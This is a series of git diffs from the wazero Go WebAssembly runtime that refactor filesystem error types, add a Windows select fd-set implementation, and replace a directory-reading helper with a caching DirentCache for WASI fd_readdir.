// Stat_t is similar to syscall.Stat_t, and fields frequently used by
// WebAssembly ABI including WASI snapshot-01, GOOS=js and wasi-filesystem.
//
// # Note
//
// Zero values may be returned where not available. For example, fs.FileInfo
// implementations may not be able to provide Ino values.
type Stat_t struct {
// Dev is the device ID of device containing the file.
Dev uint64
// Ino is the file serial number.
Ino uint64
// Uid is the user ID that owns the file, or zero if unsupported.
// For example, this is unsupported on some virtual filesystems or windows.
Uid uint32
// Gid is the group ID that owns the file, or zero if unsupported.
// For example, this is unsupported on some virtual filesystems or windows.
Gid uint32
// Mode is the same as Mode on fs.FileInfo containing bits to identify the
// type of the file (fs.ModeType) and its permissions (fs.ModePerm).
Mode fs.FileMode
/// Nlink is the number of hard links to the file.
Nlink uint64
// ^^ uint64 not uint16 to accept widest syscall.Stat_t.Nlink
// Size is the length in bytes for regular files. For symbolic links, this
// is length in bytes of the pathname contained in the symbolic link.
Size int64
// ^^ int64 not uint64 to defer to fs.FileInfo
// Atim is the last data access timestamp in epoch nanoseconds.
Atim int64
// Mtim is the last data modification timestamp in epoch nanoseconds.
Mtim int64
// Ctim is the last file status change timestamp in epoch nanoseconds.
Ctim int64
}
+73 -85
View File
@@ -4,9 +4,12 @@ import (
"io/fs"
"syscall"
"time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
// UnimplementedFS is an FS that returns syscall.ENOSYS for all functions,
// UnimplementedFS is an FS that returns ENOSYS for all functions,
// This should be embedded to have forward compatible implementations.
type UnimplementedFS struct{}
@@ -17,103 +20,103 @@ func (UnimplementedFS) String() string {
// Open implements the same method as documented on fs.FS
func (UnimplementedFS) Open(name string) (fs.File, error) {
return nil, &fs.PathError{Op: "open", Path: name, Err: syscall.ENOSYS}
return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS}
}
// OpenFile implements FS.OpenFile
func (UnimplementedFS) OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno) {
return nil, syscall.ENOSYS
func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) {
return nil, experimentalsys.ENOSYS
}
// Lstat implements FS.Lstat
func (UnimplementedFS) Lstat(path string) (Stat_t, syscall.Errno) {
return Stat_t{}, syscall.ENOSYS
func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
return sys.Stat_t{}, experimentalsys.ENOSYS
}
// Stat implements FS.Stat
func (UnimplementedFS) Stat(path string) (Stat_t, syscall.Errno) {
return Stat_t{}, syscall.ENOSYS
func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
return sys.Stat_t{}, experimentalsys.ENOSYS
}
// Readlink implements FS.Readlink
func (UnimplementedFS) Readlink(path string) (string, syscall.Errno) {
return "", syscall.ENOSYS
func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) {
return "", experimentalsys.ENOSYS
}
// Mkdir implements FS.Mkdir
func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Chmod implements FS.Chmod
func (UnimplementedFS) Chmod(path string, perm fs.FileMode) syscall.Errno {
return syscall.ENOSYS
}
// Chown implements FS.Chown
func (UnimplementedFS) Chown(path string, uid, gid int) syscall.Errno {
return syscall.ENOSYS
}
// Lchown implements FS.Lchown
func (UnimplementedFS) Lchown(path string, uid, gid int) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Rename implements FS.Rename
func (UnimplementedFS) Rename(from, to string) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Rmdir implements FS.Rmdir
func (UnimplementedFS) Rmdir(path string) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Link implements FS.Link
func (UnimplementedFS) Link(_, _ string) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Symlink implements FS.Symlink
func (UnimplementedFS) Symlink(_, _ string) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Unlink implements FS.Unlink
func (UnimplementedFS) Unlink(path string) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Unlink(path string) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Utimens implements FS.Utimens
func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Truncate implements FS.Truncate
func (UnimplementedFS) Truncate(string, int64) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// UnimplementedFile is a File that returns syscall.ENOSYS for all functions,
// UnimplementedFile is a File that returns ENOSYS for all functions,
// except where no-op are otherwise documented.
//
// This should be embedded to have forward compatible implementations.
type UnimplementedFile struct{}
// Ino implements File.Ino
func (UnimplementedFile) Ino() (uint64, syscall.Errno) {
// Dev implements File.Dev
func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) {
return 0, 0
}
// Ino implements File.Ino
func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) {
return 0, 0
}
// IsDir implements File.IsDir
func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) {
return false, 0
}
// IsAppend implements File.IsAppend
func (UnimplementedFile) IsAppend() bool {
return false
}
// SetAppend implements File.SetAppend
func (UnimplementedFile) SetAppend(bool) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// IsNonblock implements File.IsNonblock
@@ -122,84 +125,69 @@ func (UnimplementedFile) IsNonblock() bool {
}
// SetNonblock implements File.SetNonblock
func (UnimplementedFile) SetNonblock(bool) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Stat implements File.Stat
func (UnimplementedFile) Stat() (Stat_t, syscall.Errno) {
return Stat_t{}, syscall.ENOSYS
}
// IsDir implements File.IsDir
func (UnimplementedFile) IsDir() (bool, syscall.Errno) {
return false, syscall.ENOSYS
func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return sys.Stat_t{}, experimentalsys.ENOSYS
}
// Read implements File.Read
func (UnimplementedFile) Read([]byte) (int, syscall.Errno) {
return 0, syscall.ENOSYS
func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) {
return 0, experimentalsys.ENOSYS
}
// Pread implements File.Pread
func (UnimplementedFile) Pread([]byte, int64) (int, syscall.Errno) {
return 0, syscall.ENOSYS
func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
return 0, experimentalsys.ENOSYS
}
// Seek implements File.Seek
func (UnimplementedFile) Seek(int64, int) (int64, syscall.Errno) {
return 0, syscall.ENOSYS
func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) {
return 0, experimentalsys.ENOSYS
}
// Readdir implements File.Readdir
func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno syscall.Errno) {
return nil, syscall.ENOSYS
func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) {
return nil, experimentalsys.ENOSYS
}
// PollRead implements File.PollRead
func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
return false, syscall.ENOSYS
func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
return false, experimentalsys.ENOSYS
}
// Write implements File.Write
func (UnimplementedFile) Write([]byte) (int, syscall.Errno) {
return 0, syscall.ENOSYS
func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) {
return 0, experimentalsys.ENOSYS
}
// Pwrite implements File.Pwrite
func (UnimplementedFile) Pwrite([]byte, int64) (int, syscall.Errno) {
return 0, syscall.ENOSYS
func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
return 0, experimentalsys.ENOSYS
}
// Truncate implements File.Truncate
func (UnimplementedFile) Truncate(int64) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFile) Truncate(int64) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Sync implements File.Sync
func (UnimplementedFile) Sync() syscall.Errno {
return 0 // not syscall.ENOSYS
func (UnimplementedFile) Sync() experimentalsys.Errno {
return 0 // not ENOSYS
}
// Datasync implements File.Datasync
func (UnimplementedFile) Datasync() syscall.Errno {
return 0 // not syscall.ENOSYS
}
// Chmod implements File.Chmod
func (UnimplementedFile) Chmod(fs.FileMode) syscall.Errno {
return syscall.ENOSYS
}
// Chown implements File.Chown
func (UnimplementedFile) Chown(int, int) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFile) Datasync() experimentalsys.Errno {
return 0 // not ENOSYS
}
// Utimens implements File.Utimens
func (UnimplementedFile) Utimens(*[2]syscall.Timespec) syscall.Errno {
return syscall.ENOSYS
func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno {
return experimentalsys.ENOSYS
}
// Close implements File.Close
func (UnimplementedFile) Close() (errno syscall.Errno) { return }
func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return }
-9
View File
@@ -1,9 +0,0 @@
//go:build !windows
package platform
import "syscall"
func adjustErrno(err syscall.Errno) syscall.Errno {
return err
}
@@ -1,72 +0,0 @@
package platform
import "syscall"
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
const (
// ERROR_ACCESS_DENIED is a Windows error returned by syscall.Unlink
// instead of syscall.EACCES
ERROR_ACCESS_DENIED = syscall.Errno(5)
// ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write
// instead of syscall.EBADF
ERROR_INVALID_HANDLE = syscall.Errno(6)
// ERROR_FILE_EXISTS is a Windows error returned by os.OpenFile
// instead of syscall.EEXIST
ERROR_FILE_EXISTS = syscall.Errno(0x50)
// ERROR_INVALID_NAME is a Windows error returned by open when a file
// path has a trailing slash
ERROR_INVALID_NAME = syscall.Errno(0x7B)
// ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate
// instead of syscall.EINVAL
ERROR_NEGATIVE_SEEK = syscall.Errno(0x83)
// ERROR_DIR_NOT_EMPTY is a Windows error returned by syscall.Rmdir
// instead of syscall.ENOTEMPTY
ERROR_DIR_NOT_EMPTY = syscall.Errno(0x91)
// ERROR_ALREADY_EXISTS is a Windows error returned by os.Mkdir
// instead of syscall.EEXIST
ERROR_ALREADY_EXISTS = syscall.Errno(0xB7)
// ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir
// instead of syscall.ENOTDIR
ERROR_DIRECTORY = syscall.Errno(0x10B)
)
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--1300-1699-
const (
// ERROR_PRIVILEGE_NOT_HELD is a Windows error returned by os.Symlink
// instead of syscall.EPERM.
//
// Note: This can happen when trying to create symlinks w/o admin perms.
ERROR_PRIVILEGE_NOT_HELD = syscall.Errno(0x522)
)
func adjustErrno(err syscall.Errno) syscall.Errno {
// Note: In windows, ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR
switch err {
case ERROR_ALREADY_EXISTS:
return syscall.EEXIST
case ERROR_DIRECTORY:
return syscall.ENOTDIR
case ERROR_DIR_NOT_EMPTY:
return syscall.ENOTEMPTY
case ERROR_FILE_EXISTS:
return syscall.EEXIST
case ERROR_INVALID_HANDLE:
return syscall.EBADF
case ERROR_ACCESS_DENIED:
// POSIX read and write functions expect EBADF, not EACCES when not
// open for reading or writing.
return syscall.EBADF
case ERROR_PRIVILEGE_NOT_HELD:
return syscall.EPERM
case ERROR_NEGATIVE_SEEK, ERROR_INVALID_NAME:
return syscall.EINVAL
}
return err
}
+2
View File
@@ -1,3 +1,5 @@
//go:build !windows
package platform
// Set adds the given fd to the set.
@@ -1,4 +1,4 @@
//go:build !darwin && !linux
//go:build !darwin && !linux && !windows
package platform
+239
View File
@@ -0,0 +1,239 @@
package platform
import (
"syscall"
"unsafe"
)
var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo")
// Maximum number of fds in a WinSockFdSet.
const _FD_SETSIZE = 64
// WinSockFdSet implements the FdSet representation that is used internally by WinSock.
//
// Note: this representation is quite different from the one used in most POSIX implementations
// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair.
// Notice that because it keeps a count of the inserted handles, the first argument of select
// in WinSock is actually ignored.
//
// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly
// the real implementation found in WinSock2.h, e.g. see:
// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175
type WinSockFdSet struct {
// count is the number of used slots used in the handles slice.
count uint64
// handles is the array of handles. This is called "array" in the WinSock implementation
// and it has a fixed length of _FD_SETSIZE.
handles [_FD_SETSIZE]syscall.Handle
}
// FdSet implements the same methods provided on other plaforms.
//
// Note: the implementation is very different from POSIX; Windows provides
// POSIX select only for sockets. We emulate a select for other APIs in the sysfs
// package, but we still want to use the "real" select in the case of sockets.
// So, we keep separate FdSets for sockets, pipes and regular files, so that we can
// handle them separately. For instance sockets can be used directly in winsock select.
type FdSet struct {
sockets WinSockFdSet
pipes WinSockFdSet
regular WinSockFdSet
}
// SetAll overwrites all the fields in f with the fields in g.
func (f *FdSet) SetAll(g *FdSet) {
if f == nil {
return
}
f.sockets = g.sockets
f.pipes = g.pipes
f.regular = g.regular
}
// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets.
func (f *FdSet) Sockets() *WinSockFdSet {
if f == nil {
return nil
}
return &f.sockets
}
// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files.
func (f *FdSet) Regular() *WinSockFdSet {
if f == nil {
return nil
}
return &f.regular
}
// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes.
func (f *FdSet) Pipes() *WinSockFdSet {
if f == nil {
return nil
}
return &f.pipes
}
// getFdSetFor returns a pointer to the right fd set for the given fd.
// It checks the type for fd and returns the field for pipes, regular or sockets
// to simplify code.
//
// For instance, if fd is a socket and it must be set if f.pipes, instead
// of writing:
//
// if isSocket(fd) {
// f.sockets.Set(fd)
// }
//
// It is possible to write:
//
// f.getFdSetFor(fd).Set(fd)
func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet {
h := syscall.Handle(fd)
t, err := syscall.GetFileType(h)
if err != nil {
return nil
}
switch t {
case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK:
return &f.regular
case syscall.FILE_TYPE_PIPE:
if isSocket(h) {
return &f.sockets
} else {
return &f.pipes
}
default:
return nil
}
}
// Set adds the given fd to the set.
func (f *FdSet) Set(fd int) {
if s := f.getFdSetFor(fd); s != nil {
s.Set(fd)
}
}
// Clear removes the given fd from the set.
func (f *FdSet) Clear(fd int) {
if s := f.getFdSetFor(fd); s != nil {
s.Clear(fd)
}
}
// IsSet returns true when fd is in the set.
func (f *FdSet) IsSet(fd int) bool {
if s := f.getFdSetFor(fd); s != nil {
return s.IsSet(fd)
}
return false
}
// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil.
func (f *FdSet) Copy() *FdSet {
if f == nil {
return nil
}
return &FdSet{
sockets: f.sockets,
pipes: f.pipes,
regular: f.regular,
}
}
// Zero clears the set. It returns 0 if the FdSet is nil.
func (f *FdSet) Count() int {
if f == nil {
return 0
}
return f.sockets.Count() + f.regular.Count() + f.pipes.Count()
}
// Zero clears the set.
func (f *FdSet) Zero() {
if f == nil {
return
}
f.sockets.Zero()
f.regular.Zero()
f.pipes.Zero()
}
// Set adds the given fd to the set.
func (f *WinSockFdSet) Set(fd int) {
if f.count < _FD_SETSIZE {
f.handles[f.count] = syscall.Handle(fd)
f.count++
}
}
// Clear removes the given fd from the set.
func (f *WinSockFdSet) Clear(fd int) {
h := syscall.Handle(fd)
for i := uint64(0); i < f.count; i++ {
if f.handles[i] == h {
for ; i < f.count-1; i++ {
f.handles[i] = f.handles[i+1]
}
f.count--
break
}
}
}
// IsSet returns true when fd is in the set.
func (f *WinSockFdSet) IsSet(fd int) bool {
h := syscall.Handle(fd)
for i := uint64(0); i < f.count; i++ {
if f.handles[i] == h {
return true
}
}
return false
}
// Zero clears the set.
func (f *WinSockFdSet) Zero() {
if f == nil {
return
}
f.handles = [64]syscall.Handle{}
f.count = 0
}
// Count returns the number of values that are set in the fd set.
func (f *WinSockFdSet) Count() int {
if f == nil {
return 0
}
return int(f.count)
}
// Copy returns a copy of the fd set or nil if it is nil.
func (f *WinSockFdSet) Copy() *WinSockFdSet {
if f == nil {
return nil
}
copy := *f
return &copy
}
// Get returns the handle at the given index.
func (f *WinSockFdSet) Get(index int) syscall.Handle {
return f.handles[index]
}
// isSocket returns true if the given file handle
// is a pipe.
func isSocket(fd syscall.Handle) bool {
r, _, errno := syscall.SyscallN(
procGetNamedPipeInfo.Addr(),
uintptr(fd),
uintptr(unsafe.Pointer(nil)),
uintptr(unsafe.Pointer(nil)),
uintptr(unsafe.Pointer(nil)),
uintptr(unsafe.Pointer(nil)))
return r == 0 || errno != 0
}
+1 -1
View File
@@ -1,4 +1,4 @@
// This uses syscall.Mprotect. Go's SDK only supports this on darwin and linux.
// Separated from linux which has support for huge pages.
//go:build darwin || freebsd
package platform
+8 -3
View File
@@ -5,12 +5,17 @@
package platform
import (
"regexp"
"runtime"
"strings"
)
// TODO: IsAtLeastGo120
var IsGo120 = strings.Contains(runtime.Version(), "go1.20")
// IsAtLeastGo120 checks features added in 1.20. We can remove this when Go
// 1.22 is out.
var IsAtLeastGo120 = isAtLeastGo120(runtime.Version())
func isAtLeastGo120(version string) bool {
return regexp.MustCompile("go1.[2-9][0-9][^0-9]").MatchString(version)
}
// archRequirementsVerified is set by platform-specific init to true if the platform is supported
var archRequirementsVerified bool
+6 -4
View File
@@ -3,8 +3,8 @@ package sock
import (
"fmt"
"net"
"syscall"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
)
@@ -12,7 +12,7 @@ import (
type TCPSock interface {
fsapi.File
Accept() (TCPConn, syscall.Errno)
Accept() (TCPConn, sys.Errno)
}
// TCPConn is a pseudo-file representing a TCP connection.
@@ -20,9 +20,11 @@ type TCPConn interface {
fsapi.File
// Recvfrom only supports the flag sysfs.MSG_PEEK
Recvfrom(p []byte, flags int) (n int, errno syscall.Errno)
// TODO: document this like fsapi.File with known sys.Errno
Recvfrom(p []byte, flags int) (n int, errno sys.Errno)
Shutdown(how int) syscall.Errno
// TODO: document this like fsapi.File with known sys.Errno
Shutdown(how int) sys.Errno
}
// ConfigKey is a context.Context Value key. Its associated value should be a Config.
+280 -290
View File
@@ -4,12 +4,10 @@ import (
"io"
"io/fs"
"net"
"path"
"syscall"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/descriptor"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
socketapi "github.com/tetratelabs/wazero/internal/sock"
"github.com/tetratelabs/wazero/internal/sysfs"
)
@@ -54,209 +52,202 @@ type FileEntry struct {
// File is always non-nil.
File fsapi.File
// direntCache is nil until DirentCache was called.
direntCache *DirentCache
}
const direntBufSize = 16
// DirentCache gets or creates a DirentCache for this file or returns an error.
//
// # Errors
//
// A zero sys.Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EBADF: the dir was closed or not readable.
// - sys.ENOTDIR: the file was not a directory.
//
// # Notes
//
// - See /RATIONALE.md for design notes.
func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) {
if dir := f.direntCache; dir != nil {
return dir, 0
}
// Readdir is the status of a prior fs.ReadDirFile call.
type Readdir struct {
// cursor is the current position in the buffer.
cursor uint64
// Require the file to be a directory vs a late error on the same.
if isDir, errno := f.File.IsDir(); errno != 0 {
return nil, errno
} else if !isDir {
return nil, sys.ENOTDIR
}
// countRead is the total count of files read including Dirents.
//
// Notes:
//
// * countRead is the index of the next file in the list. This is
// also the value that Cookie returns, so it should always be
// higher or equal than the cookie given in Rewind.
//
// * this can overflow to negative, which means our implementation
// doesn't support writing greater than max int64 entries.
// countRead uint64
countRead uint64
// Generate the dotEntries only once.
if dotEntries, errno := synthesizeDotEntries(f); errno != 0 {
return nil, errno
} else {
f.direntCache = &DirentCache{f: f.File, dotEntries: dotEntries}
}
// dirents is a fixed buffer of size direntBufSize. Notably,
// directory listing are not rewindable, so we keep entries around in case
// the caller mis-estimated their buffer and needs a few still cached.
return f.direntCache, 0
}
// DirentCache is a caching abstraction of fsapi.File Readdir.
//
// This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be
// unneeded, or require changes, to support preview1 or preview2.
// - The position of the dirents are serialized as `d_next`. For reasons
// described below, any may need to be re-read. This accepts any positions
// in the cache, rather than track the position of the last dirent.
// - dot entries ("." and "..") must be returned. See /RATIONALE.md for why.
// - An fsapi.Dirent Name is variable length, it could exceed memory size and
// need to be re-read.
// - Multiple dirents may be returned. It is more efficient to read from the
// underlying file in bulk vs one-at-a-time.
//
// The last results returned by Read are cached, but entries before that
// position are not. This support re-reading entries that couldn't fit into
// memory without accidentally caching all entries in a large directory. This
// approach is sometimes called a sliding window.
type DirentCache struct {
// f is the underlying file
f fsapi.File
// dotEntries are the "." and ".." entries added when the directory is
// initialized.
dotEntries []fsapi.Dirent
// dirents are the potentially unread directory entries.
//
// Note: This is wasi-specific and needs to be refactored.
// In wasi preview1, dot and dot-dot entries are required to exist, but the
// reverse is true for preview2. More importantly, preview2 holds separate
// stateful dir-entry-streams per file.
// Internal detail: nil is different from zero length. Zero length is an
// exhausted directory (eof). nil means the re-read.
dirents []fsapi.Dirent
// dirInit seeks and reset the provider for dirents to the beginning
// and returns an initial batch (e.g. dot directories).
dirInit func() ([]fsapi.Dirent, syscall.Errno)
// countRead is the total count of dirents read since last rewind.
countRead uint64
// dirReader fetches a new batch of direntBufSize elements.
dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno)
}
// NewReaddir is a constructor for Readdir. It takes a dirInit
func NewReaddir(
dirInit func() ([]fsapi.Dirent, syscall.Errno),
dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno),
) (*Readdir, syscall.Errno) {
d := &Readdir{dirReader: dirReader, dirInit: dirInit}
return d, d.init()
}
// init resets the cursor and invokes the dirInit, dirReader
// methods to reset the internal state of the Readdir struct.
//
// Note: this is different from Reset, because it will not short-circuit
// when cursor is already 0, but it will force an unconditional reload.
func (d *Readdir) init() syscall.Errno {
d.cursor = 0
d.countRead = 0
// Reset the buffer to the initial state.
initialDirents, errno := d.dirInit()
if errno != 0 {
return errno
}
if len(initialDirents) > direntBufSize {
return syscall.EINVAL
}
d.dirents = initialDirents
// Fill the buffer with more data.
count := direntBufSize - len(initialDirents)
if count == 0 {
// No need to fill up the buffer further.
return 0
}
dirents, errno := d.dirReader(uint64(count))
if errno != 0 {
return errno
}
d.dirents = append(d.dirents, dirents...)
return 0
}
// newReaddirFromFileEntry is a constructor for Readdir that takes a FileEntry to initialize.
func newReaddirFromFileEntry(f *FileEntry) (*Readdir, syscall.Errno) {
// Generate the dotEntries only once and return it many times in the dirInit closure.
dotEntries, errno := synthesizeDotEntries(f)
if errno != 0 {
return nil, errno
}
dirInit := func() ([]fsapi.Dirent, syscall.Errno) {
// Ensure we always rewind to the beginning when we re-init.
if _, errno := f.File.Seek(0, io.SeekStart); errno != 0 {
return nil, errno
}
// Return the dotEntries that we have already generated outside the closure.
return dotEntries, 0
}
dirReader := func(n uint64) ([]fsapi.Dirent, syscall.Errno) { return f.File.Readdir(int(n)) }
return NewReaddir(dirInit, dirReader)
// eof is true when the underlying file is at EOF. This avoids re-reading
// the directory when it is exhausted. Entires in an exhausted directory
// are not visible until it is rewound via calling Read with `pos==0`.
eof bool
}
// synthesizeDotEntries generates a slice of the two elements "." and "..".
func synthesizeDotEntries(f *FileEntry) (result []fsapi.Dirent, errno syscall.Errno) {
func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) {
dotIno, errno := f.File.Ino()
if errno != 0 {
return nil, errno
}
result = append(result, fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir})
dotDotIno := uint64(0)
if !f.IsPreopen && f.Name != "." {
if st, errno := f.FS.Stat(path.Dir(f.Name)); errno != 0 {
return nil, errno
} else {
dotDotIno = st.Ino
}
}
result = append(result, fsapi.Dirent{Name: "..", Ino: dotDotIno, Type: fs.ModeDir})
return result, 0
result := [2]fsapi.Dirent{}
result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir}
// See /RATIONALE.md for why we don't attempt to get an inode for ".." and
// why in wasi-libc this won't fan-out either.
result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir}
return result[:], 0
}
// Reset seeks the internal cursor to 0 and refills the buffer.
func (d *Readdir) Reset() syscall.Errno {
if d.countRead == 0 {
return 0
}
return d.init()
}
// exhaustedDirents avoids allocating empty slices.
var exhaustedDirents = [0]fsapi.Dirent{}
// Skip is equivalent to calling n times Advance.
func (d *Readdir) Skip(n uint64) {
end := d.countRead + n
var err syscall.Errno = 0
for d.countRead < end && err == 0 {
err = d.Advance()
}
}
// Cookie returns a cookie representing the current state of the ReadDir struct.
// Read is similar to and returns the same errors as `Readdir` on fsapi.File.
// The main difference is this caches entries returned, resulting in multiple
// valid positions to read from.
//
// Note: this returns the countRead field, but it is an implementation detail.
func (d *Readdir) Cookie() uint64 {
return d.countRead
}
// Rewind seeks the internal cursor to the state represented by the cookie.
// It returns a syscall.Errno if the cursor was reset and an I/O error occurred while trying to re-init.
func (d *Readdir) Rewind(cookie int64) syscall.Errno {
unsignedCookie := uint64(cookie)
// When zero, `pos` means rewind to the beginning of this directory. This
// implies a rewind (Seek to zero on the underlying fsapi.File), unless the
// initial entries are still cached.
//
// When non-zero, `pos` is the zero based index of all dirents returned since
// last rewind. Only entries beginning at `pos` are cached for subsequent
// calls. A non-zero `pos` before the cache returns sys.ENOENT for reasons
// described on DirentCache documentation.
//
// Up to `n` entries are cached and returned. When `n` exceeds the cache, the
// difference are read from the underlying fsapi.File via `Readdir`. EOF is
// when `len(dirents)` returned are less than `n`.
func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) {
switch {
case cookie < 0 || unsignedCookie > d.countRead:
// the cookie can neither be negative nor can it be larger than countRead.
return syscall.EINVAL
case cookie == 0 && d.countRead == 0:
return 0
case cookie == 0 && d.countRead != 0:
// This means that there was a previous call to the dir, but cookie is reset.
// This happens when the program calls rewinddir, for example:
// https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/cloudlibc/src/libc/dirent/rewinddir.c#L10-L12
return d.Reset()
case unsignedCookie < d.countRead:
if cookie/direntBufSize != int64(d.countRead)/direntBufSize {
// The cookie is not 0, but it points into a window before the current one.
return syscall.ENOSYS
case pos > d.countRead: // farther than read or negative coerced to uint64.
return nil, sys.ENOENT
case pos == 0 && d.dirents != nil:
// Rewind if we have already read entries. This allows us to see new
// entries added after the directory was opened.
if _, errno = d.f.Seek(0, io.SeekStart); errno != 0 {
return
}
// We are allowed to rewind back to a previous offset within the current window.
d.countRead = unsignedCookie
d.cursor = d.countRead % direntBufSize
return 0
default:
// The cookie is valid.
return 0
d.dirents = nil // dump cache
d.countRead = 0
}
if n == 0 {
return // special case no entries.
}
if d.dirents == nil {
// Always populate dot entries, which makes min len(dirents) == 2.
d.dirents = d.dotEntries
d.countRead = 2
d.eof = false
if countToRead := int(n - 2); countToRead <= 0 {
return
} else if dirents, errno = d.f.Readdir(countToRead); errno != 0 {
return
} else if countRead := len(dirents); countRead > 0 {
d.eof = countRead < countToRead
d.dirents = append(d.dotEntries, dirents...)
d.countRead += uint64(countRead)
}
return d.cachedDirents(n), 0
}
// Reset our cache to the first entry being read.
cacheStart := d.countRead - uint64(len(d.dirents))
if pos < cacheStart {
// We don't currently allow reads before our cache because Seek(0) is
// the only portable way. Doing otherwise requires skipping, which we
// won't do unless wasi-testsuite starts requiring it. Implementing
// this would allow re-reading a large directory, so care would be
// needed to not buffer the entire directory in memory while skipping.
errno = sys.ENOENT
return
} else if posInCache := pos - cacheStart; posInCache != 0 {
if uint64(len(d.dirents)) == posInCache {
// Avoid allocation re-slicing to zero length.
d.dirents = exhaustedDirents[:]
} else {
d.dirents = d.dirents[posInCache:]
}
}
// See if we need more entries.
if countToRead := int(n) - len(d.dirents); countToRead > 0 && !d.eof {
// Try to read more, which could fail.
if dirents, errno = d.f.Readdir(countToRead); errno != 0 {
return
}
// Append the next read entries if we weren't at EOF.
if countRead := len(dirents); countRead > 0 {
d.eof = countRead < countToRead
d.dirents = append(d.dirents, dirents...)
d.countRead += uint64(countRead)
}
}
return d.cachedDirents(n), 0
}
// Peek emits the current value.
// It returns syscall.ENOENT when there are no entries left in the directory.
func (d *Readdir) Peek() (*fsapi.Dirent, syscall.Errno) {
// cachedDirents returns up to `n` dirents from the cache.
func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent {
